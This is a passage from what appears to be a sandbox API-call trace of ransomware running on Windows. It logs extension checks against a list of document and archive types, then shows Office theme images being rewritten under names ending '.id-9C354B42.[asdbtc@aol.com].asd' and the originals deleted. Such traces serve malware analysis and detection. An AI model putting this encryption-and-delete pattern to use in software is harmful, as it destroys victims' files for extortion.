returned 4 [0053.690] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.690] lstrlenW (lpString=".xls") returned 4 [0053.690] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.690] lstrlenW (lpString=".xlsx") returned 5 [0053.690] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.690] lstrlenW (lpString=".ppt") returned 4 [0053.690] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.690] lstrlenW (lpString=".zip") returned 4 [0053.690] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.690] lstrlenW (lpString=".rar") returned 4 [0053.690] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.690] lstrlenW (lpString=".bz2") returned 4 [0053.690] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.690] lstrlenW (lpString=".7z") returned 3 [0053.690] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.690] lstrlenW (lpString=".dbf") returned 4 [0053.690] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.690] lstrlenW (lpString=".1cd") returned 4 [0053.690] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.690] lstrlenW (lpString=".jpg") returned 4 [0053.690] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.691] lstrlenW (lpString=".doc") returned 4 [0053.691] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.691] lstrlenW (lpString=".docx") returned 5 [0053.691] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.691] lstrlenW (lpString=".pdf") returned 4 [0053.691] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.691] lstrlenW (lpString=".xls") returned 4 [0053.691] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.691] lstrlenW (lpString=".xlsx") returned 5 [0053.691] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.691] lstrlenW (lpString=".ppt") returned 4 [0053.691] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.691] lstrlenW (lpString=".zip") returned 4 [0053.691] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.691] lstrlenW (lpString=".rar") returned 4 [0053.691] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.691] lstrlenW (lpString=".bz2") returned 4 [0053.691] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.691] lstrlenW (lpString=".7z") returned 3 [0053.691] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.691] lstrlenW (lpString=".dbf") returned 4 [0053.691] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.691] lstrlenW (lpString=".1cd") returned 4 [0053.691] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.691] lstrlenW (lpString=".jpg") returned 4 [0053.691] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.692] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.692] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.036] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=43276) returned 1 [0054.038] CloseHandle (hObject=0x1fc) returned 1 [0054.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0054.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0054.074] GetLastError () returned 0x0 [0054.074] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0054.076] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0054.078] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.078] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.078] SetEndOfFile (hFile=0x1a8) returned 1 [0054.078] CloseHandle (hObject=0x1a8) returned 1 [0054.078] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.078] SetEndOfFile (hFile=0x1fc) returned 1 [0054.079] CloseHandle (hObject=0x1fc) returned 1 [0054.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.080] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0054.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.080] lstrlenW (lpString=".doc") returned 4 [0054.080] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.080] lstrlenW (lpString=".docx") returned 5 [0054.080] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.080] lstrlenW (lpString=".pdf") returned 4 [0054.080] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.080] lstrlenW (lpString=".xls") returned 4 [0054.080] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.080] lstrlenW (lpString=".xlsx") returned 5 [0054.080] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.080] lstrlenW (lpString=".ppt") returned 4 [0054.080] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.081] lstrlenW (lpString=".zip") returned 4 [0054.081] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.081] lstrlenW (lpString=".rar") returned 4 [0054.081] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.081] lstrlenW (lpString=".bz2") returned 4 [0054.081] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.081] lstrlenW (lpString=".7z") returned 3 [0054.081] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.081] lstrlenW (lpString=".dbf") returned 4 [0054.081] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.081] lstrlenW (lpString=".1cd") returned 4 [0054.081] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.081] lstrlenW (lpString=".jpg") returned 4 [0054.081] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.081] lstrlenW (lpString=".doc") returned 4 [0054.081] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.082] lstrlenW (lpString=".docx") returned 5 [0054.082] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.082] lstrlenW (lpString=".pdf") returned 4 [0054.082] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.082] lstrlenW (lpString=".xls") returned 4 [0054.082] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.082] lstrlenW (lpString=".xlsx") returned 5 [0054.082] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.082] lstrlenW (lpString=".ppt") returned 4 [0054.082] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.082] lstrlenW (lpString=".zip") returned 4 [0054.082] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.082] lstrlenW (lpString=".rar") returned 4 [0054.082] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.082] lstrlenW (lpString=".bz2") returned 4 [0054.082] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.082] lstrlenW (lpString=".7z") returned 3 [0054.082] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.082] lstrlenW (lpString=".dbf") returned 4 [0054.082] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.082] lstrlenW (lpString=".1cd") returned 4 [0054.082] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0054.083] lstrlenW (lpString=".jpg") returned 4 [0054.083] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.083] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.083] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.084] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1347) returned 1 [0054.084] CloseHandle (hObject=0x1fc) returned 1 [0054.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0054.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.084] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.084] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0054.086] GetLastError () returned 0x0 [0054.086] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x543, lpOverlapped=0x0) returned 1 [0054.088] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x550, lpOverlapped=0x0) returned 1 [0054.089] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.089] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.089] SetEndOfFile (hFile=0x1a8) returned 1 [0054.089] CloseHandle (hObject=0x1a8) returned 1 [0054.089] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.089] SetEndOfFile (hFile=0x1fc) returned 1 [0054.090] CloseHandle (hObject=0x1fc) returned 1 [0054.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.090] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0054.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.091] lstrlenW (lpString=".doc") returned 4 [0054.091] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.091] lstrlenW (lpString=".docx") returned 5 [0054.091] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.091] lstrlenW (lpString=".pdf") returned 4 [0054.091] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.091] lstrlenW (lpString=".xls") returned 4 [0054.091] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.091] lstrlenW (lpString=".xlsx") returned 5 [0054.091] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.091] lstrlenW (lpString=".ppt") returned 4 [0054.091] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.091] lstrlenW (lpString=".zip") returned 4 [0054.091] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.091] lstrlenW (lpString=".rar") returned 4 [0054.091] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.091] lstrlenW (lpString=".bz2") returned 4 [0054.091] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.091] lstrlenW (lpString=".7z") returned 3 [0054.091] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.091] lstrlenW (lpString=".dbf") returned 4 [0054.091] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.091] lstrlenW (lpString=".1cd") returned 4 [0054.091] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.091] lstrlenW (lpString=".jpg") returned 4 [0054.091] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.092] lstrlenW (lpString=".doc") returned 4 [0054.092] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.092] lstrlenW (lpString=".docx") returned 5 [0054.092] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.092] lstrlenW (lpString=".pdf") returned 4 [0054.092] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.092] lstrlenW (lpString=".xls") returned 4 [0054.092] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.092] lstrlenW (lpString=".xlsx") returned 5 [0054.092] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.092] lstrlenW (lpString=".ppt") returned 4 [0054.092] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.092] lstrlenW (lpString=".zip") returned 4 [0054.092] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.092] lstrlenW (lpString=".rar") returned 4 [0054.092] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.092] lstrlenW (lpString=".bz2") returned 4 [0054.092] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.092] lstrlenW (lpString=".7z") returned 3 [0054.092] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.092] lstrlenW (lpString=".dbf") returned 4 [0054.092] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.092] lstrlenW (lpString=".1cd") returned 4 [0054.092] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0054.092] lstrlenW (lpString=".jpg") returned 4 [0054.092] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.093] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.093] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.093] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=32403) returned 1 [0054.093] CloseHandle (hObject=0x1fc) returned 1 [0054.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0054.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.093] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.094] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0054.094] GetLastError () returned 0x0 [0054.094] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0054.096] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0054.097] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.097] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.097] SetEndOfFile (hFile=0x1a8) returned 1 [0054.097] CloseHandle (hObject=0x1a8) returned 1 [0054.098] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.098] SetEndOfFile (hFile=0x1fc) returned 1 [0054.099] CloseHandle (hObject=0x1fc) returned 1 [0054.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.099] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0054.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 